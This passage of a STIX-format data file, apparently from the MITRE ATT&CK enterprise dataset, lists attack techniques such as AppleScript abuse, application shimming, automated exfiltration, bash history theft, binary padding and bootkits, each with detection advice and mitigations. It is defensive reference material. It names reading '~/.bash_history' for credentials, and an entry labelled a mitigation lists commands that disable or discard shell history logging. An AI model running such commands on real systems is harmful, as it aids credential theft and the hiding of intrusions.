            "x_mitre_system_requirements": [
                "Secure boot disabled on systems running Windows 8 and later"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppleScript Mitigation",
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1155",
                    "external_id": "T1155"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "AppleScript",
            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1155",
                    "external_id": "T1155"
                },
                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "System calls",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": true,
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Application Deployment Software Mitigation",
            "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1017",
                    "external_id": "T1017"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:27.755Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Application Deployment Software",
            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1017",
                    "external_id": "T1017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process use of network",
                "Process monitoring"
            ],
            "x_mitre_system_requirements": [
                "Access to application deployment software (EPO, HPCA, Altiris, etc.)"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Application Shimming Mitigation",
            "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1138",
                    "external_id": "T1138"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Application Shimming",
            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1138",
                    "external_id": "T1138"
                },
                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
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                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "Corio 2008",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Windows Commands JPCERT",
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            "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
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                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
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            "created": "2017-05-31T21:31:43.135Z",
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                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
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                },
                {
                    "source_name": "Graeber 2014",
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            "created": "2018-01-17T12:56:55.080Z",
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            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
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                "macOS",
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            "x_mitre_system_requirements": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Automated Exfiltration Mitigation",
            "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1020",
                    "external_id": "T1020"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:29.458Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Automated Exfiltration",
            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1020",
                    "external_id": "T1020"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Process monitoring",
                "Process use of network"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bash History Mitigation",
            "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1139",
                    "external_id": "T1139"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bash History",
            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
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                    "phase_name": "credential-access"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1139",
                    "external_id": "T1139"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
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            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Binary Padding Mitigation",
            "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1009",
                    "external_id": "T1009"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
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            "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:22.096Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Binary Padding",
            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1009",
                    "external_id": "T1009"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Signature-based detection"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bootkit Mitigation",
            "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1067",
                    "external_id": "T1067"
                },
                {
                    "source_name": "TCG Trusted Platform Module",
                    "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.",
                    "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary%2004292008.pdf"
                },
                {
                    "source_name": "TechNet Secure Boot Process",
                    "description": "Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windows/dn168167.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:54.661Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bootkit",
